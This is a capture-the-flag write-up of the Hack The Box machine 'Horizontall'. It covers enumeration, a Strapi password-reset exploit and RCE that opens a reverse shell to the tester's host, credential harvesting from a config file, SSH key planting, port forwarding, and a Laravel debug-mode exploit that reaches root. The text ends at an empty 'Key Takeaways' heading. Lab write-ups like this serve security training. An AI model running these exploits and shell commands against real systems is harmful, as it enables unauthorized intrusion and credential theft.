Horizontall Writeup

20 October 2022 #CTF #HTB #box #easy #linux

horizontall info

Enumeration

Why waste time when you could be running an nmap scan:

$ sudo nmap -p- -T4 -oN enum/fulltcp.nmap 10.10.11.105
[...]
22/tcp open  ssh
80/tcp open  http
[...]
$ ports=$(awk -F/ '/^[[:digit:]]{1,5}\// {printf "%s,", $1}' enum/fulltcp.nmap)
$ sudo nmap -p $ports -sCV -oN enum/scripts-tcp.nmap 10.10.11.105
[...]
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ee774143d482bd3e6e6e50cdff6b0dd5 (RSA)
|   256 3ad589d5da9559d9df016837cad510b0 (ECDSA)
|_  256 4a0004b49d29e7af37161b4f802d9894 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://horizontall.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[...]

HTTP

The first thing to do is to add 'horizontall.htb' to our /etc/hosts file as nmap told us the webserver redirects us there:

$ echo '10.10.11.105   horizontall.htb' | sudo tee -a /etc/hosts

With that out of the way, let's take a look at the website:

horizontall.htb

This a static page with no user input...

Subdomain Discovery

Bruteforcing

We have a domain name so it's always good to run a subdomain bruteforce:

$ ffuf -u http://10.10.11.105/ -H 'Host: FUZZ.horizontall.htb' -fs 194 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.105/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.horizontall.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 194
________________________________________________

www                     [Status: 200, Size: 901, Words: 43, Lines: 2, Duration: 140ms]
api-prod                [Status: 200, Size: 413, Words: 76, Lines: 20, Duration: 119ms]

I'm using ffuf instead of gobuster because the later was a bit buggy.

Javascript Analysis

However, this was not the intended way to find this subdomain. We were supposed to analyze a javascript file and find it that way.

There are a few hints. The first one being the icon of the JS library Vue.js is displayed on the tab:

icon of Vue.js

And if we looked at the source code of the page, it would be all on one line:

source of the static page

Usually, when the HTML looks like this, it is because it was generated by a javascript frontend library of something similar.

When we reload the page with the developer tools opened, we can see 2 javascript files being requested:

network developer tools

The most interesting one is app.c68eb462.js. Let's throw it in a javasript beatifier:

jsnice.org

Now copy the beautified version to a file and use grep to get subdomains:

$ grep horizontall.htb app.js
href : "https://horizontall.htb"
r.a.get("http://api-prod.horizontall.htb/reviews").then(function(data) {

And we got the other subdomain that way.

api-prod.horizontall.htb

Let's take a look at this subdomain:

Welcome.

It seems we are welcome, that's very nice but we want a bit more information. We'll examine the headers:

$ curl -I api-prod.horizontall.htb
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Thu, 20 Oct 2022 12:18:42 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 413
Connection: keep-alive
Vary: Origin
Content-Security-Policy: img-src 'self' http:; block-all-mixed-content
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Last-Modified: Wed, 02 Jun 2021 20:00:29 GMT
Cache-Control: max-age=60
X-Powered-By: Strapi <strapi.io>

The very last header reveals that this website is using Strapi.

Since we know what is running, we can do a quick searchsploit:

$ searchsploit strapi
[...]
Strapi 3.0.0-beta - Set Password (Unauthenticated)
Strapi 3.0.0-beta.17.7 - Remote Code Execution (RCE) (Authenticated)
[...]

Sounds good.

Foothold

Let's first reset the admin password. To do that, update the exploit script to set the url, email and password:

userEmail = "admin@horizontall.htb"
strapiUrl = "http://api-prod.horizontall.htb"
newPassword = "password"

Then we can execute it:

$ python setpw.py
[*] strapi version: 3.0.0-beta.17.4
[*] Password reset for user: admin@horizontall.htb
[*] Setting new password
[+] New password 'password' set for user admin@horizontall.htb

It looks like our version is vulnerable and it worked.

The second CVE is an authenticated RCE, and we just reseted the admin password. How convenient!

The script wants the admin's JWT so let's login to get it:

login as admin

It is not stored as a cookie but in 'Session Storage':

find JWT

Let's get a reverse shell. Setup your listener and execute the script:

$ python3 rce.py http://api-prod.horizontall.htb <jwt> "bash -c 'bash -i >& /dev/tcp/10.10.14.14/4242 0>&1'" 127.0.0.1

The last IP address doesn't really matter because we are sending the reverse shell directly back to us.

Privesc

We have a shell as the 'strapi' user.

Enumerate web app directory

Let's search for credentials in this myapi directory:

strapi@horizontall:~/myapi$ ls -lA
total 640
drwxr-xr-x    3 strapi strapi   4096 May 29  2021 api
drwxrwxr-x    2 strapi strapi  12288 May 26  2021 build
drwxrwxr-x    5 strapi strapi   4096 May 26  2021 .cache
drwxr-xr-x    5 strapi strapi   4096 Jul 29  2021 config
-rw-r--r--    1 strapi strapi    249 May 26  2021 .editorconfig
-rw-r--r--    1 strapi strapi     32 May 26  2021 .eslintignore
-rw-r--r--    1 strapi strapi    541 May 26  2021 .eslintrc
drwxr-xr-x    3 strapi strapi   4096 May 26  2021 extensions
-rw-r--r--    1 strapi strapi   1150 May 26  2021 favicon.ico
-rw-r--r--    1 strapi strapi   1119 May 26  2021 .gitignore
drwxrwxr-x 1099 strapi strapi  36864 Aug  3  2021 node_modules
-rw-rw-r--    1 strapi strapi   1009 May 26  2021 package.json
-rw-rw-r--    1 strapi strapi 552845 May 26  2021 package-lock.json
drwxr-xr-x    3 strapi strapi   4096 Jun  2  2021 public
-rw-r--r--    1 strapi strapi     69 May 26  2021 README.md

The config directory may have what we want:

strapi@horizontall:~/myapi/config$ ls -lA
total 32
-rw-r--r-- 1 strapi strapi  136 May 26  2021 application.json
-rw-r--r-- 1 strapi strapi  110 May 26  2021 custom.json
drwxr-xr-x 5 strapi strapi 4096 May 26  2021 environments
drwxr-xr-x 3 strapi strapi 4096 May 26  2021 functions
-rw-r--r-- 1 strapi strapi  188 May 26  2021 hook.json
-rw-r--r-- 1 strapi strapi  173 May 26  2021 language.json
drwxr-xr-x 2 strapi strapi 4096 May 26  2021 locales
-rw-r--r-- 1 strapi strapi  317 May 26  2021 middleware.json

In environments/development:

strapi@horizontall:~/myapi/config/environments/development$ ls -lA
total 24
-rw-r--r-- 1 strapi strapi 135 May 26  2021 custom.json
-rw-rw-r-- 1 strapi strapi 351 May 26  2021 database.json
-rw-r--r-- 1 strapi strapi 439 May 26  2021 request.json
-rw-r--r-- 1 strapi strapi 164 May 26  2021 response.json
-rw-r--r-- 1 strapi strapi 529 May 26  2021 security.json
-rw-r--r-- 1 strapi strapi 159 May 26  2021 server.json
trapi@horizontall:~/myapi/config/environments/development$ cat database.json
{
  "defaultConnection": "default",
  "connections": {
    "default": {
      "connector": "strapi-hook-bookshelf",
      "settings": {
        "client": "mysql",
        "database": "strapi",
        "host": "127.0.0.1",
        "port": 3306,
        "username": "developer",
        "password": "#J!:F9Zt2u"
      },
      "options": {}
    }
  }
}

There are creds for mysql.

MySQL Enumeration

We can access the mysql DB:

strapi@horizontall:~/myapi/config/environments/development$ mysql -u developer -p
Enter password:
[...]
mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| strapi             |
| sys                |
+--------------------+
mysql> use strapi;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+------------------------------+
| Tables_in_strapi             |
+------------------------------+
| core_store                   |
| reviews                      |
| strapi_administrator         |
| upload_file                   |
| upload_file_morph             |
| users-permissions_permission |
| users-permissions_role       |
| users-permissions_user       |
+------------------------------+

But after looking through all of these tables, nothing interesting comes up.

Reverse Shell to SSH

It would be nice to be able to ssh to the box with our user. We can check if we can do that by verifying if the 'strapi' user has a login shell:

strapi@horizontall:~$ grep strapi /etc/passwd
strapi:x:1001:1001::/opt/strapi:/bin/sh

We do have a login shell, so we can create a .ssh directory and add a key.

First, let's create the key on our attack machine:

$ ssh-keygen -f strapi
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in strapi
Your public key has been saved in strapi.pub
The key fingerprint is:
SHA256:kWtgigQb3KFrhMDy677/6lfeQwL5mHkLriqgd8sQCDM yep@hehexd
The key's randomart image is:
+---[RSA 3072]----+
|* ...            |
|+*..     .       |
|E+.   o.o        |
|o=o. oo. o       |
|.oo..  *S        |
|o ..  =.= .      |
|o..  . = =       |
|o oo. o o o      |
| ++*B*.    .     |
+----[SHA256]-----+

Now we can create the .ssh directory and add our public key:

strapi@horizontall:~$ mkdir .ssh
strapi@horizontall:~$ chmod 700 .ssh
strapi@horizontall:~$ cd .ssh/
strapi@horizontall:~/.ssh$ echo '<your public key>' > authorized_keys

Now we should be able to login via ssh:

$ ssh -i strapi strapi@10.10.11.105
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-154-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu Oct 20 14:55:53 UTC 2022

  System load:  0.0               Processes:           179
  Usage of /:   82.5% of 4.85GB   Users logged in:     0
  Memory usage: 27%               IP address for eth0: 10.10.11.105
  Swap usage:   0%


0 updates can be applied immediately.


Last login: Fri Jun  4 11:29:42 2021 from 192.168.1.15
$ bash
strapi@horizontall:~$

Nice, this will come in handy later.

Laravel Website

Running ss (or netstat) is a good way to have a rough idea of what is happening on a box:

strapi@horizontall:~$ ss -ltnp
State   Recv-Q      Send-Q      Local Address:Port          Peer Address:Port
LISTEN  0           80          127.0.0.1:3306              0.0.0.0:*
LISTEN  0           128         0.0.0.0:80                  0.0.0.0:*
LISTEN  0           128         0.0.0.0:22                  0.0.0.0:*
LISTEN  0           128         127.0.0.1:1337              0.0.0.0:*               users:(("node",pid=1883,fd=31))
LISTEN  0           128         127.0.0.1:8000              0.0.0.0:*
LISTEN  0           128         [::]:80			    [::]:*
LISTEN  0           128         [::]:22                     [::]:*

We know that the strapi app is listening on port 1337. The reason we can access this service even though it is listening only on localhost is because nginx is acting as a reverse proxy.

However, there is something else listening on port 8000. Let's curl it to see what it is:

strapi@horizontall:~$ curl -I 127.0.0.1:8000
HTTP/1.1 200 OK
Host: 127.0.0.1:8000
Date: Thu, 20 Oct 2022 15:08:02 GMT
Connection: close
X-Powered-By: PHP/7.4.22
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache, private
Date: Thu, 20 Oct 2022 15:08:02 GMT
Set-Cookie: XSRF-TOKEN=eyJpdiI6IktxdmFKT0tSYndvOXFjK1dUVjA2YWc9PSIsInZhbHVlIjoidVlqMTJpUEpyYXJERzNpbjVBZ2NJYlMvU2xrc2VoTVFLVkphcG4yRTQvOEQ3RENWdkF4dDdON0UyN0F2eG9NNFh0OUJ4N29hYk1QOHNxNXNJelgxRGFSbEVSQkl0RUMvdUtWRnZVaGJlamdUOHppcXI5dW5wWEpHRHFtNUJIaDYiLCJtYWMiOiI1YjA4MWQ3M2IyNjg3YTRiYTA0NzAzMTdlYmFjYjU4OTE4N2U1OGE4OGMyNWU3OWJhMGZlZmU2MWEzMzJiM2E0In0%3D; expires=Thu, 20-Oct-2022 17:08:02 GMT; Max-Age=7200; path=/; samesite=lax
Set-Cookie: laravel_session=eyJpdiI6InMyVFpRZkJ1aHVuSmZKejVzaHh4eEE9PSIsInZhbHVlIjoiOXNwdHFIalE1ek5JNlRBSTFFeitTUE4vWlllYnRNRHN3aVVnVXBhVUpNNmlxcUdqYThQYXM0bXY4eDlheUlTajcra2RhMWk5Tm9tK0VGeGVuWDhUeFZoRSt0d1MraVdzS2tnYWNmdDBtaEZQVjV3bS9DZ0YrNGFHVzlZVHFCVkIiLCJtYWMiOiIwYjJlOTc2YThhZWUwNzkzNGI1OTA4OWNmZTJjZWE1NzAxMDA4Y2EzNTdkZWE2ZjljZjQzMGJjNzAzZTkyNDNlIn0%3D; expires=Thu, 20-Oct-2022 17:08:02 GMT; Max-Age=7200; path=/; httponly; samesite=lax

Looks like a Laravel website (because of the laravel_session cookie).

The problem is we can't view it because it is listening only on localhost. This is where our ssh session will help. We'll setup a port forward. To do that, type Enter+~+C and it will drop us in a prompt like this:

strapi@horizontall:~$
strapi@horizontall:~$
ssh>

Now we can use the -L option to forward a local port:

ssh> -L 8001:127.0.0.1:8000
Forwarding port.

This command opens port 8001 on our local box and forwards all traffic to this port to port 8000 on the target box.

You can also specify this option in the ssh command:

$ ssh -i strapi strapi@10.10.11.105 -L 8001:127.0.0.1:8000
[...]

Now we are able to view the Laravel site:

Laravel website

It looks very much like a default installation. Let's run gobuster to see if there are any interesting files:

gobuster dir -u http://127.0.0.1:8001/ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x php
[...]
/index.php            (Status: 200) [Size: 17473]
/profiles             (Status: 500) [Size: 616214]

Note that since gobuster goes through our ssh tunnel, it isn't very stable.

Let's take a look at this /profiles page:

Laravel debug mode

This Laravel instance is in debug mode, that's why we are seeing this nice error message.

We can try our luck again with searchsploit:

$ searchsploit laravel
[...]
Laravel 8.4.2 debug mode - Remote code execution
[...]

Sounds a lot like what we want right? However the script from searchsploit won't work for us because it asks for a log path:

$ python 49424.py
Usage:  49424.py url path-log command

Ex: 49424.py http(s)://pwnme.me:8000 /var/www/html/laravel/storage/logs/laravel.log 'id'

I guess we could still make it work if we guessed the location of this file but instead we'll use this one.

$ python exploit.py http://127.0.0.1:8001 Monolog/RCE1 id
[i] Trying to clear logs
[+] Logs cleared
[i] PHPGGC not found. Cloning it
Cloning into 'phpggc'...
remote: Enumerating objects: 3006, done.
remote: Counting objects: 100% (552/552), done.
remote: Compressing objects: 100% (197/197), done.
remote: Total 3006 (delta 383), reused 422 (delta 334), pack-reused 2454
Receiving objects: 100% (3006/3006), 438.01 KiB | 643.00 KiB/s, done.
Resolving deltas: 100% (1255/1255), done.
[+] Successfully converted logs to PHAR
[+] PHAR deserialized. Exploited

uid=0(root) gid=0(root) groups=0(root)

[i] Trying to clear logs
[+] Logs cleared

Make sure your ssh tunnel is still alive for this to work.

Key Takeaways